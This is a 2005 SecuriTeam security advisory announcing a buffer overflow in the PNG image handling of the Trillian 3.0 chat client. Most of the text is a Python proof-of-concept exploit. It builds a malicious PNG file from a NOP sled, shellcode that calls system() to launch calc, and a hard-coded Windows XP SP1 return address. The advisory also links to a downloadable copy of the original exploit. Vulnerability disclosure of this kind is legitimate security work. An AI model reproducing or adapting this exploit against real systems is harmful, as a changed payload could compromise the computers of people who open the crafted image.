[EXPL] Buffer Overflow Vulnerability In Trillian

From: SecuriTeam (support_at_securiteam.com)
Date: 03/07/05

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Date: 7 Mar 2005 10:26:47 +0200

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      Buffer Overflow Vulnerability In Trillian
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.ceruleanstudios.com> Trillian is a fully featured,
    stand-alone, skinnable chat client that supports AIM, ICQ, MSN, Yahoo
    Messenger, and IRC.

    Trillian contains a buffer overflow vulnerability in the way it handles
    the PNG Images. Presented here is an exploit for this vulnerability

    DETAILS

    Vulnerable Systems:
     * Trillian 3.0 Basic

    Exploit:
    ##################################################################
    # See-security Technologies ltd. #
    # http://www.see-security.com #
    # Trillian 3.0 PNG Image Processing Buffer overflow Exploit #
    # Discovered and coded by: Tal zeltzer #
    ##################################################################

    import sys
    import struct

    # Addresses are compatible with Windows XP Service Pack 1
    ReturnAddress = 0x77D7A145 # Address of "jmp esp" in ntdll.dll
    SystemAddress = 0x77C28044 # Address Of the system() function

    # PNG Header
    PngOfDeath =
    "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52"
    PngOfDeath +=
    "\x00\x00\x00\x40\x00\x00\x00\x40\x08\x03\x00\x00\x00\x9D\xB7\x81"
    PngOfDeath += "\xEC\x00\x00\x01\xB9\x74\x52\x4E\x53"

    # Nops
    PngOfDeath +=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    PngOfDeath +=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    # system(calc) shellcode
    PngOfDeath += "\x33\xC0\x50\x68\x63\x61\x6c\x63\x54\x5b\x50\x53\xb9"
    PngOfDeath += struct.pack("<L",SystemAddress)
    PngOfDeath += "\xFF\xD1"

    # Junk Data
    PngOfDeath +=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    PngOfDeath +=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    PngOfDeath +=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    PngOfDeath +=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    PngOfDeath +=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    PngOfDeath +=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    PngOfDeath +=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    PngOfDeath +=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    PngOfDeath +=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    PngOfDeath +=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    PngOfDeath +=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    PngOfDeath +=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    PngOfDeath +=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    PngOfDeath +=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    # Return Address
    PngOfDeath += struct.pack("<L",ReturnAddress)

    # Jump Back Shellcode
    PngOfDeath += "\x54\x59\xFE\xCD\x89\xE5\xFF\xE1"

    # End Of File
    PngOfDeath += "\x90\x90\x90\x59\xE8\x47\xFE\xFF\xFF"

    fileOut = open("Trillian.png","wb")
    fileOut.write(PngOfDeath)
    fileOut.close()

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:tal@see-security.com> Tal
    zeltzer.
    The original exploit can be found at:
    <http://www.hackingdefined.com/exploits/trillian3.tar.gz>
    http://www.hackingdefined.com/exploits/trillian3.tar.gz

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